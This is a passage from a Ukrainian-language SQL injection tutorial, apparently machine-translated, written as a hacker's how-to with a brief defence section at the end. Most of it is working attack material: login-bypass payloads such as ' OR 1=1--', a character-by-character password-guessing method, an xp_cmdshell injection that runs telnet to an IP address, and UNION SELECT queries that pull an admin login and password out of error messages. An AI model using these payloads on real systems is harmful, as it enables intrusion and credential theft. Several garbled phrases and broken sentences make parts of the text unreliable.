Але це все теоретично. Насправді нам невідомо як формується запит, які дані передаються у якій послідовності. Тому необхідно вказувати "user" OR 1=1--" для всіх полів. Також слід перевірити форму відправки на наявність прихованих полів. У HTML вони описуються як " Якщо такі існують, збережіть сторінку і поміняйте значення даних полів. Значення, що містяться в них, часто забувають перевіряти на наявність SQL інструкцій. що обробляє цей запит.

Але не завжди також відомо як сформований запит,
минулий приклад можна було сформувати і такими способами:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

У такому випадку можна спробувати такі варіанти:

" OR 1=1--
" OR 1=1--
OR 1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
OR "1"="1"

Все залежить від призначення скрипта і від програміста. Оскільки кожній людині властиво все робити за своєю, цілком можливо, що програміст вибере не найпростіший варіант. Тому не слід відразу
здаватися, якщо ви отримаєте відмову. Необхідно
випробувати якомога більше варіантів...

Password detection

Обходити авторизацію непогано, але дуже часто дірка, яку ви використовуєте, закривається, і все, що було для вас доступно, втрачається.
Цього й слід було очікувати, якщо програміст не дурень він
згодом прикриє всі лазівки. Таких ситуацій можна легко позбутися заздалегідь подбавши про це. Правильним рішенням може стати вгадування пароля за допомогою
аналізу результатів аутентифікації Для початку пробуємо вгадати пароль, для цього введемо його місце:

"OR password>"a

Якщо нам дадуть відповідь, що авторизацію пройдено, значить пароль
починається не на букву "а", а на якусь із наступних за списком. Рухаємося далі та підставляємо
місце "a", наступні "b", "c", "d", "e"... і т.д. поки нам не дадуть відповіді, що пароль не правильний. Нехай цей процес зупинився на символі "x", у такому випадку створюються два варіанти розвитку ситуації, пароль знайдений або пароль начитається на цей символ. Щоб перевірити перший варіант, пишемо місце пароля:

" OR password="x

і якщо пароль прийнято і тебе впустили, значить ти вгадав пароль! Ну а ні, тоді слід підбирати вже другий символ,
так само, з початку. Для двох символів перевіряти
потрібно так само. Зрештою, ти отримаєш пароль, а логін шукаєш цим шляхом 🙂
Якщо знайдені пароль і логін тебе не влаштовують, можеш знайти й інші. Для цього потрібно розпочати перевірку з останнього символу знайденого пароля. Так, якщо пароль "xxx" перевіряти необхідно існування пароля
"xxy":

" OR password="xxx

щоб не проґавити не один варіант!

MS SQL Server

MS SQL Server взагалі знахідка, якщо втрачено необхідну фільтрацію. Використовуючи вразливість SQL Injection можна виконувати
команди на віддаленому сервері за допомогою exec master..xp_cmdshell. Але щоб використовувати цю конструкцію
необхідно завершити операцію "SELECT". У SQL інструкції поділяються крапкою з комою. Тому підключиться до деякого IP по Telnet, необхідно місце пароля/логіна набрати:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

У MS SQL Server є ще кілька цікавих особливостей, що дозволяють дізнатися логіни та паролі, що зберігаються в базі даних. Для цього висновок про помилки перенаправляється на довільний сервер та за допомогою їх
аналізу можна дізнатися назву таблиці, полів та їх типів. Після чого можна запитом

" UNION SELECT TOP 1 login FROM users--

(login ім'я поля містить логін, а users - ім'я таблиці,
отримані в процесі аналізу помилок).

Відповідь може бути такою:


Syntax error здійснює nvarchar value "admin" to a column of data type int. !}
/default.asp, line 27

Тепер ми знаємо, що користувач має ім'я "admin". Тепер ми можемо отримати його пароль:

" UNION SELECT TOP 1 password FROM users where login="admin"--

Результат:

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Syntax error здійснює nvarchar value "xxx" to a column of data type int. !}
/tedault.asp, line 27

Тепер нам відомо, що є користувач "admin" із паролем "xxx". Цим можна сміливо
скористатися та залогіниться в систему 😉

Але для роботи з SQL існує ще багато інших функцій,
при роботі з базою даних можна видаляти дані, модифікувати, вставляти свої і навіть маніпулювати файлами і працювати з реєстром.
Загалом, SQL Server - керує 🙂

Захист

Але цього природно можна уникнути. Для цього можна
скористатися фільтрами,
наданими виробниками. Можна знайти свої рішення, наприклад, замінювати всі одинарні
лапки подвійними (якщо для SQLзапит ми користуєтеся одинарними), або навпаки. Можна дозволити лише використання літер і с@баки, якщо потрібно ввести
електронна адреса. А ще в перлі є дивовижна
функція 🙂 quote() у модулі DBI::DBD, яка успішно робить ваш запит безпечним по відношенню до SQL. Рішень багато, потрібно просто ними
користуватися. Інакше навіщо тоді все це...